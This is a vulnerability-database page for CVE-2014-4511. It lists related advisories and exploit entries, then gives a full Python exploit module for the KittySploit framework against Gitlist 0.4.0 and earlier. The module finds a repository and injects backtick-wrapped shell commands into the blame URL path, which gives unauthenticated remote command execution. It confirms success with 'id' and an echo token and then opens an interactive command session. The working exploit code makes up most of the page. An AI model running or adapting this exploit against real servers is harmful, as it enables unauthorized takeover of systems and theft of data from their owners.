Gitlist blame RCE (CVE-2014-4511)
| Reporter | Title | Published | Views | Family All 26 |
|---|---|---|---|---|
| Gitlist <= 0.4.0 - Remote Code Execution Exploit | 30 Jun 201400:00 | – | zdt | |
| Gitlist Unauthenticated Remote Command Execution Exploit | 6 Jul 201400:00 | – | zdt | |
| CVE-2014-4511 | 30 Jun 201400:00 | – | circl | |
| GitList URL Remote Code Execution (CVE-2014-4511) | 6 Oct 201400:00 | – | checkpoint_advisories | |
| CVE-2014-4511 | 22 Jul 201414:00 | – | cve | |
| CVE-2014-4511 | 22 Jul 201414:00 | – | cvelist | |
| Gitlist 0.4.0 - Remote Code Execution | 30 Jun 201400:00 | – | exploitdb | |
| Gitlist - Remote Command Execution (Metasploit) | 7 Jul 201400:00 | – | exploitdb | |
| Gitlist-0.4.0 | 4 Jan 201516:46 | – | exploitpack | |
| Gitlist 0.4.0 - Remote Code Execution | 30 Jun 201400:00 | – | exploitpack |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Gitlist blame path command injection RCE (CVE-2014-4511) — execute session."""
from __future__ import annotations
import re
from urllib.parse import quote
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Gitlist blame RCE (CVE-2014-4511)',
'description': (
'Exploits CVE-2014-4511 command injection in Gitlist blame paths via '
'backtick-wrapped shell metacharacters. Opens an interactive execute session.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2014-4511'],
'platform': Platform.MULTI,
'payload': {'default': 'nopayload'},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2014-4511',
],
'tags': ['gitlist', 'git', 'rce', 'cmdi', 'unauth', 'cve-2014-4511'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 3,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals', 'rce'],
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': 'blame path injection'},
{'capability': 'shell', 'from_detail': 'execute session'},
],
'suggested_followups': ['scanner/http/cve_2014_4511_detect'],
},
},
}
base_path = OptString('', 'Gitlist base path', False, advanced=True)
repo = OptString('', 'Repository path (auto-discover if empty)', False, advanced=True)
def _bases(self) -> list[str]:
base = str(self.base_path or '').strip().rstrip('/')
if base:
return [base]
return ['', '/gitlist', '/git']
def _discover_repo(self) -> str | None:
if self.repo:
repo = str(self.repo)
return repo if repo.endswith('/') else repo + '/'
for base in self._bases():
idx = self.http_request(method='GET', path=f'{base}/', allow_redirects=False)
if not idx:
continue
body = idx.text or ''
m = re.search(
r'class="icon-folder-open icon-spaced"></i>\s*<a href="([^"]+)">',
body,
)
if m:
repo = m.group(1)
if not repo.endswith('/'):
repo += '/'
self._hit_base = base
self._repo = repo
return repo
return None
def execute(self, cmd: str) -> str:
repo = getattr(self, '_repo', None) or self._discover_repo()
if not repo:
return ''
inj = quote(f'""</`{cmd}`', safe='')
base = getattr(self, '_hit_base', '') or ''
path = f'{base}{repo}blame/master/{inj}'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r:
return ''
return r.text or ''
def check(self):
body = self.execute('id')
if re.search(r'uid=\d+', body or ''):
return {
'vulnerable': True,
'reason': 'CVE-2014-4511 confirmed via id output',
'confidence': 'high',
}
return {
'vulnerable': False,
'reason': 'Gitlist blame injection did not return command output',
'confidence': 'medium',
}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
self._repo = None
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Sep 2026 06:36Current
6.1Medium risk
Vulners AI Score6.1
CVSS 27.5
EPSS0.8273